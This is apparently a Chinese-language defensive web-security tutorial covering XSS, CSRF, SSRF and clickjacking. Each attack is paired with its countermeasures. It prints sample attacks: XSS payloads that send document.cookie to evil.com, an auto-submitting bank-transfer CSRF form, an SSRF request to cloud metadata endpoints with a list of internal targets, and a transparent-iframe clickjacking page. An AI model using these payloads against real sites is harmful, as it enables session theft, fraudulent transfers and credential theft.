Web 安全攻防实战:XSS、CSRF、SSRF 与点击劫持的防御体系

前端工程(更新于 2026年6月2日)

Web 安全威胁全景

威胁 影响面 严重度 防御复杂度
XSS 数据窃取、会话劫持
CSRF 伪造操作、资金损失
SSRF 内网探测、服务攻击
点击劫持 诱导操作

一、XSS(跨站脚本攻击)

三种 XSS 类型

类型 注入点 持久性 典型场景
存储型 服务端存储 持久 评论区、用户昵称
反射型 URL 参数 临时 搜索结果、错误提示
DOM 型 客户端 JS 临时 URL hash、document.write

存储型 XSS 攻击示例

<!-- 攻击者在评论区注入 -->
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

<!-- 或更隐蔽的 img 标签 -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

<!-- 或 SVG -->
<svg onload="fetch('https://evil.com/steal?c='+document.cookie)">

防御一:输出编码

function escapeHtml(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
  };
  return str.replace(/[&<>"']/g, (c) => map[c]);
}

// 使用
element.innerHTML = escapeHtml(userInput);

防御二:CSP(Content Security Policy)

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'
指令 含义 示例
default-src 默认策略 'self'
script-src JS 来源 'self' 'nonce-abc123'
style-src CSS 来源 'self' 'unsafe-inline'
img-src 图片来源 'self' data: https:
connect-src fetch/XHR 来源 'self' https://api.example.com
frame-ancestors 嵌套来源 'none' (防点击劫持)
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

HttpOnly 阻止 JS 通过 document.cookie 读取,即使 XSS 成功也无法窃取会话。

防御四:Trusted Types

// 启用 Trusted Types API
if (window.trustedTypes) {
  trustedTypes.createPolicy('default', {
    createHTML: (input) => DOMPurify.sanitize(input),
  });
}

// 之后所有 innerHTML 赋值必须经过策略
element.innerHTML = userInput; // 如果没有策略,抛出错误

二、CSRF(跨站请求伪造)

攻击原理

<!-- 攻击者网站上的隐藏表单 -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit();</script>

用户已登录银行网站 → Cookie 自动携带 → 伪造请求成功。

Set-Cookie: session=abc; SameSite=Strict
跨站请求携带 适用场景
Strict 不携带 最安全,但从外部链接进入不带 Cookie
Lax GET 请求携带 默认值,平衡安全与体验
None 都携带 需配合 Secure,第三方场景

防御二:CSRF Token

// 服务端生成 Token
app.use((req, res, next) => {
  req.csrfToken = crypto.randomBytes(32).toString('hex');
  res.locals.csrfToken = req.csrfToken;
  next();
});

// 表单中嵌入
// <input type="hidden" name="_csrf" value="${csrfToken}">

// 服务端验证
app.post('/transfer', (req, res) => {
  if (req.body._csrf !== req.csrfToken) {
    return res.status(403).send('CSRF token mismatch');
  }
  // 处理转账
});
// 前端:从 Cookie 读取 CSRF Token,放入请求头
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': getCookie('csrfToken'),
  },
  body: JSON.stringify(data),
});

防御四:Origin/Referer 检查

app.use((req, res, next) => {
  const origin = req.headers.origin || req.headers.referer;
  if (origin && !origin.startsWith('https://example.com')) {
    return res.status(403).send('Invalid origin');
  }
  next();
});

三、SSRF(服务端请求伪造)

攻击示例

GET /api/fetch?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1

169.254.169.254 是 AWS 元数据服务,攻击者可获取 IAM 凭证。

常见内网目标

地址 服务 可获取信息
169.254.169.254 AWS 元数据 IAM 凭证、实例信息
100.100.100.200 阿里云元数据 安全凭证
metadata.google.internal GCP 元数据 Service Account Token
127.0.0.1:6379 Redis 数据、配置
127.0.0.1:9200 Elasticsearch 数据、集群信息

防御一:URL 白名单

const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];

function validateUrl(inputUrl) {
  const url = new URL(inputUrl);

  if (!ALLOWED_DOMAINS.includes(url.hostname)) {
    throw new Error('Domain not allowed');
  }
  if (url.protocol !== 'https:') {
    throw new Error('Only HTTPS allowed');
  }
  // 阻止特殊 IP
  if (/^(127\.|10\.|172\.(1[6-9]|2\d|3[01])\.|192\.168\.|0\.|169\.254\.)/.test(url.hostname)) {
    throw new Error('Private IP not allowed');
  }

  return url;
}

防御二:DNS 重绑定防护

// 先解析 DNS,再验证 IP,再发起请求
async function safeFetch(inputUrl) {
  const url = new URL(inputUrl);
  const addresses = await dns.promises.resolve4(url.hostname);

  for (const ip of addresses) {
    if (isPrivateIP(ip)) throw new Error('Private IP resolved');
  }

  // 使用解析后的 IP 直接请求,避免 DNS 重绑定
  return fetch(`https://${addresses[0]}${url.pathname}`, {
    headers: { Host: url.hostname },
  });
}

四、点击劫持(Clickjacking)

攻击原理

<!-- 攻击者网站 -->
<style>
  iframe {
    position: absolute;
    top: 100px;
    left: 200px;
    opacity: 0.01; /* 几乎不可见 */
  }
  .decoy-button {
    position: absolute;
    top: 100px;
    left: 200px;
  }
</style>

<!-- 诱饵按钮 -->
<button class="decoy-button">点击领取优惠券</button>

<!-- 透明的目标网站 iframe -->
<iframe src="https://bank.com/transfer?to=attacker&amount=10000"></iframe>

用户以为点击"领取优惠券",实际点击了银行转账按钮。

防御一:X-Frame-Options

X-Frame-Options: DENY
含义
DENY 任何页面都不能嵌入
SAMEORIGIN 仅同源页面可嵌入

防御二:CSP frame-ancestors

Content-Security-Policy: frame-ancestors 'self' https://trusted-embedder.com;

frame-ancestorsX-Frame-Options 的现代替代,支持白名单。

防御三:JS 帧破坏

if (window.top !== window.self) {
  window.top.location = window.self.location;
}

五、纵深防御体系

第1层:输入验证 —— 服务端校验所有输入
第2层:输出编码 —— 根据上下文转义
第3层:CSP 策略 —— 限制资源加载
第4层:Cookie 安全 —— HttpOnly + SameSite + Secure
第5层:CSRF Token —— 验证请求来源
第6层:Rate Limit —— 限制请求频率
第7层:WAF —— Web 应用防火墙

安全响应头完整配置

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx'; style-src 'self'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 0
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
#Web安全#XSS#CSRF#SSRF#点击劫持